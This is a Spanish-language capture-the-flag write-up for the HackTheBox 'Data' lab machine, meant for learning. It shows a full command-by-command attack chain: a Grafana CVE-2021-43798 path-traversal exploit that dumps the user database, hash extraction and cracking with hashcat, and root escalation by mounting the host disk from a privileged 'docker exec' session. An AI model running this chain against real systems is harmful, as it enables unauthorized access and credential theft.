Ir al contenido
  1. Writeups/

HackTheBox - Data

·6 mins
Nicolás Seral
Autor
Nicolás Seral
bla bla bla bla
  • Dificultad: easy
  • Tiempo aprox.: 2h
  • Datos Iniciales: 10.129.234.47

Enumeración inicial
#

Empezamos con un escaneo de puertos, que encuentra lo siguiente:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ sudo nmap -sT -Pn -p- 10.129.234.47 # Encuentra 22,3000
$ sudo nmap -sT -Pn -p22,3000 -sVC 10.129.234.47
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
|   256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
|_  256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
3000/tcp open  http    Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Grafana
|_Requested resource was /login
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Antes de nada, por conveniencia, añadimos data.htb a /etc/hosts.

  • 22/tcp (OpenSSH 7.6p1): Vulnerable a CVE-2018-15473, que permite conocer si un usuario dado existe o no
  • 3000/tcp (Grafana HTTP): Software web de visualización de datos. Hasta ahora no sabemos más.

Puerto 3000, Grafana
#

Al entrar encontramos el panel de login de Grafana, con información acerca de la versión específica justo abajo del todo.

Si buscamos las vulnerabilidades de Grafana v8.0.0, daremos con el CVE-2021-43798 y el CVE-2021-43815, que permiten que un atacante sin autenticar lea archivos locales arbitrarios. Hay una explicación en este poc, que es el que vamos a usar.

1
2
3
4
5
6
$ go run exploit.go -target http://data.htb:3000 -dump-database -output grafana.db
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://data.htb:3000
[INFO] Successfully exploited target http://data.htb:3000
[INFO] Succesfully saved output to file grafana.db

Crackeando Hashes
#

Si echamos un vistazo, veremos que user es la tabla que guarda las credenciales, así que vamos a dumpear sus hashes.

1
2
3
4
5
6
$ sqlite3 grafana.db            
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> select login,email,password,salt from user;
admin | admin@localhost| 7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8 | YObSoLj55S
boris | boris@data.vl  | dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 | LCBhdtJWjl

Tenemos los hashes de dos usuarios junto con sus salts. Grafana usa HMAC-SHA256 con 10.000 iteraciones. Tras buscar un poco encuentro un script que permite pasar la info que tenemos al formato que requiere hashcat.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ cat hashes # formato = HASH,SALT
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl

$ python3 grafana2hashcat.py hashes
[+] Grafana2Hashcat
[+] Converting hashes complete.

sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

Ahora los metemos a hashcat:

1
2
3
$ hashcat -m 10900 hashes --wordlist /usr/share/wordlists/rockyou.txt
...[SNIP]...
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

Encontramos la contraseña beautiful1 de boris, ahora probamos a iniciar sesión por SSH:

1
2
3
4
5
6
7
8
$ ssh boris@data.htb
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
boris@data.htb's password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64)

boris@data:~$

Privesc
#

Nada más entrar, miramos privilegios sudo y encontramos esto:

1
2
3
4
5
6
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

boris puede ejecutar /snap/bin/docker exec con cualquier argumento y como root. Ahora bien, la limitación de esto es que normalmente, la escalada de privilegios con una regla así consiste en primero, crear un container que tenga montado el FS del host, y luego, entrar al container como root, teniendo así privilegios de root sobre todo el FS del host.

El problema aquí es que con /snap/bin/docker exec no podemos iniciar containers nuevos (con puntos de montura arbitrarios), solo ejecutar cosas en los que ya están iniciados.

De todas formas, esto sí permite a boris, por ejemplo, entrar a un container en ejecución con un shell como root:

1
sudo /snap/bin/docker exec --privileged -u 0 -it ID_CONTAINER /bin/bash

Y, todavía más importante, el flag --privileged apaga bastantes de las medidas de seguridad que abstraen al container y bloquean lo que puede y no puede hacer un usuario (root o no) dentro del container, como por ejemplo acceder a discos reales (como veremos más adelante, p.ej /dev/sda1) y poder montarlos (con mount).

Antes de nada, tenemos que ver qué contenedores hay ejecutándose y posiblemente encontrar un ID.

1
2
3
4
5
6
7
boris@data:~$ ps aux | grep docker
root      1039  0.1  3.9 1496232 81160 ?       Ssl  Jul24   0:03 dockerd --group docker --exec-root=/run/snap.docker --data-root=/var/snap/docker/common/var-lib-docker --pidfile=/run/snap.docker/docker.pid --config-file=/var/snap/docker/1125/config/daemon.json
root      1258  0.1  2.1 1277324 44192 ?       Ssl  Jul24   0:06 containerd --config /run/snap.docker/containerd/containerd.toml --log-level error
root      1542  0.0  0.1 1152456 3264 ?        Sl   Jul24   0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root      1549  0.0  0.1 1078724 3416 ?        Sl   Jul24   0:00 /snap/docker/1125/bin/docker-proxy -proto tcp -host-ip :: -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root      1563  0.0  0.4 712864  8520 ?        Sl   Jul24   0:00 /snap/docker/1125/bin/containerd-shim-runc-v2 -namespace moby -id e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 -address /run/snap.docker/containerd/containerd.sock
472       1585  0.1  3.1 776380 63572 ?        Ssl  Jul24   0:05 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning

Aquí podemos ver el ID de un container específico: e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81.

Y con él podemos entrar como root al container:

1
2
3
boris@data:~$ sudo /snap/bin/docker exec --privileged -u 0 -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
bash-5.1# whoami
root # pero en el container

Ahora bien, esto sirve de poco si el container no tiene acceso a nada de fuera. La idea sería que, si el container tuviese montado el FS del host, y fuésemos root en el container, entonces seríamos root en el host.

Como no podemos ver si tiene algo montado directamente, podemos montar un disco (el disco con la partición / del host) a la fuerza en el container. Para ello, primero tenemos que ubicar dicho disco.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# En el host
boris@data:~$ lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
loop0    7:0    0  42.2M  1 loop /snap/snapd/14066
loop1    7:1    0 116.6M  1 loop /snap/docker/1125
loop2    7:2    0  55.5M  1 loop /snap/core18/2253
loop3    7:3    0    25M  1 loop /snap/amazon-ssm-agent/4046
sda      8:0    0     6G  0 disk 
├─sda1   8:1    0     5G  0 part /
└─sda2   8:2    0  1023M  0 part [SWAP]

Vemos que sda1, es decir, /dev/sda1, es el disco con la partición montada en /. Ese disco es el que vamos a intentar montar en el container.

Para ello, entramos de nuevo al container y tratamos de montar el disco.

1
2
3
4
5
6
7
boris@data:~$ sudo /snap/bin/docker exec --privileged -u 0 -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash

bash-5.1# ls /dev/sda* # Vemos si existen los discos dentro del container
/dev/sda   /dev/sda1  /dev/sda2 # Sí existen, es buena señal

bash-5.1# mkdir /mnt/rootfs # Creamos el punto de montura
bash-5.1# mount /dev/sda1 /mnt/rootfs/ # Ahora montamos el disco

Una vez montado, ya lo tenemos todo hecho. Simplemente queda hacer chroot.

1
2
3
4
5
6
bash-5.1# chroot /mnt/rootfs/
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@e6ff5b1cbc85:/#

Y tenemos root.

Relacionados

HackTheBox - Bedside

·15 mins
OS: Linux | Dificultad: Medium | Conceptos: Fuzzing de vhosts, RCE por deserialización insegura en pdfminer.six, escape de contenedor Docker a través de directorios compartidos con el host, Path Traversal en servicio interno, robo de claves SSH, escalada de privilegios por deserialización insegura en checkpoints de PyTorch/MONAI

HackTheBox - Nexus

·12 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de vhosts, Reutilización de credenciales, Authenticated RCE, Análisis de código fuente, Path Traversal, Timers de Systemd, Creación de objetos Git

HackTheBox - Silentium

·18 mins
OS: Linux | Dificultad: Easy | Conceptos: Subdominio, Docker, CVE, MailHog, Git, Gogs